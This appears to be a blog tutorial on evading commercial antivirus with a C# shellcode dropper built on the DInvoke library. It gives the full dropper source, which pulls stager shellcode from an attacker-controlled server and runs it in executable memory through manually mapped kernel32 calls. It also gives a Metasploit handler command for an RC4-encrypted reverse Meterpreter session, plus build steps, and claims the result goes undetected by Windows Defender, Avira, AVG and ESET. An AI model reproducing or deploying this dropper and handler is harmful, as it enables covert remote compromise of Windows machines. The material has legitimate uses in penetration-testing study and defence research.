As of 30-07-2023 this results on an undetected Meterpreter session [at least] against the following products with default installation settings:
• Windows Defender
• Avira Internet Security
• AVG Antivirus Free
• ESET Smart Security
During my preparation for OSEP (haven't signed up for the course yet), I came accross several AV evasion techniques and ideas, including the DInvoke project from TheWover (credits: The Wover, FuzzySec (b33f), cobbr). This project allows dynamic invocation of unmanaged code from memory, so AVs cannot place hooks on API calls or determine the calls used by the application by scanning the static imports. You can read more about it on the original post here: or watch the original presentation here:
Based on DInvoke, we will create a C# dropper that receives an encoded stager shellcode from a remote server and then use Manual Mapping of kernel32.dll and Dynamic Invocation of Win32 APIs in order to execute it. The shellcode will then establish an RC4 encrypted meterpreter session. Let's begin.
Python stager server
Start by generating the first stage shellcode with the command shown below:
The resulting shellcode can be served on port 8080 using a python server. First, we determine the size of the shellcode so our dropper knows how much data to receive from the stream and how much data to allocate for the buffer. Then we simply send the size, followed by the payload.
The python server script can be seen below. Note that we can also generate the metasploit payload dynamically from within the script.
The script shown above can run on Kali, in parallel with a metasploit listener which can be started using the following command:
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp_rc4; set lport 443; set lhost eth0; set exitonsession false; exploit -j"
C# Dropper
Start by creating a new C# Console Application (.NET Framework) in Visual Studio.
Right click the solution, select "New Folder" and name it "DInvoke". Next right click on the new folder and select "Add" -> "Existing Project…" and select the corresponding project file on each of the folders contained in Rastamouse's github repo (DInvoke.Data, DInvoke.ManualMap, DInvoke.DynamicInvoke):
Next, right click the Stager project and click "Add" -> "Reference…" and add a reference for each of the DInvoke projects:
Finally click "OK". Now we are ready to use the DInvoke methods in our project. The dropper code can be seen below. There are comments on the code to explain the steps.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net.Sockets;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using DInvoke.DynamicInvoke;
using DInvoke.Data;
using System.Diagnostics.Eventing.Reader;
namespace Stager
{
internal class Program
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr VirtualAllocD(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr CreateThreadD(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static void Main(string[] args)
{
string lIP = args[0];
int lPort = int.Parse(args[1]);
IPAddress ipAddress = IPAddress.Parse(lIP);
var ipEndPoint = new IPEndPoint(ipAddress, lPort);
//Connect to the python listening server
TcpClient client = new TcpClient();
client.Connect(ipEndPoint);
NetworkStream stream = client.GetStream();
//Receive the size of the first stage payload
var buffer = new byte[4];
stream.Read(buffer, 0, buffer.Length);
Int32 stgrSize = BitConverter.ToInt32(buffer, 0);
//Receive the stager shellcode
byte[] buf = new byte[stgrSize];
stream.Read(buf, 0, buf.Length);
//Map kernel32.dll to memory
PE.PE_MANUAL_MAP kern32DLL = new PE.PE_MANUAL_MAP();
kern32DLL = DInvoke.ManualMap.Map.MapModuleToMemory(@"C:\Windows\System32\kernel32.dll");
//Call VirtualAlloc to reserve memory for the shellcode
object[] vaparameters = { IntPtr.Zero, (UInt32)buf.Length, (UInt32)0x3000, (UInt32)0x40 };
IntPtr addr = (IntPtr)Generic.CallMappedDLLModuleExport(kern32DLL.PEINFO, kern32DLL.ModuleBase, "VirtualAlloc", typeof(VirtualAllocD), vaparameters, false);
//Copy the stager shellcode to the allocated memory
Marshal.Copy(buf, 0, addr, buf.Length);
//Invoke the stager shellcode
object[] ctparameters = { IntPtr.Zero, (UInt32)0, addr, IntPtr.Zero, (UInt32)0, IntPtr.Zero };
IntPtr hThread = (IntPtr)Generic.CallMappedDLLModuleExport(kern32DLL.PEINFO, kern32DLL.ModuleBase, "CreateThread", typeof(CreateThreadD), ctparameters, false);
Console.ReadLine();
}
}
}
Before building the dropper, we will also use the Costura.Fody NuGet package in order to package the necessary DInvoke DLLs within our executable, so it can run independendly. Bring up the package manager console in Visual Studio ("Tools" -> "NuGet Package Manager" -> "Package Manager Console") and run the following command:
Install-Package Costura.Fody
Once the installation is finished, Costura.Fody will automatically place the DLLs within the final executable file on each build.
Last step is to change the building architecture to x64.
We can go ahead and build the project. The final executable can be found on "[Project Directory]\bin\x64\Release\Stager.exe"
Testing
On the attacker's machine, make sure to start the python3 script and the metasploit listener as shown below:
Transfer the stager executable to the target host. Windows Defender is fully updated and the file stays undetected.
Run the stager providing the listening python server IP and port as arguments:
The dropper connects to the python server to retrieve the shellcode and moments later we get a fully functioning Meterpreter session:
Credits
The Wover, FuzzySec (b33f), cobbr, Rasta Mouse
In order to use the DInvoke functionality we will add to the project. The reason we are using Rastamouse's version of DInvoke is that it does not contain several features that we wouldn't use anyway and therefore it lowers the detection surface which is exactly what we are trying to achieve.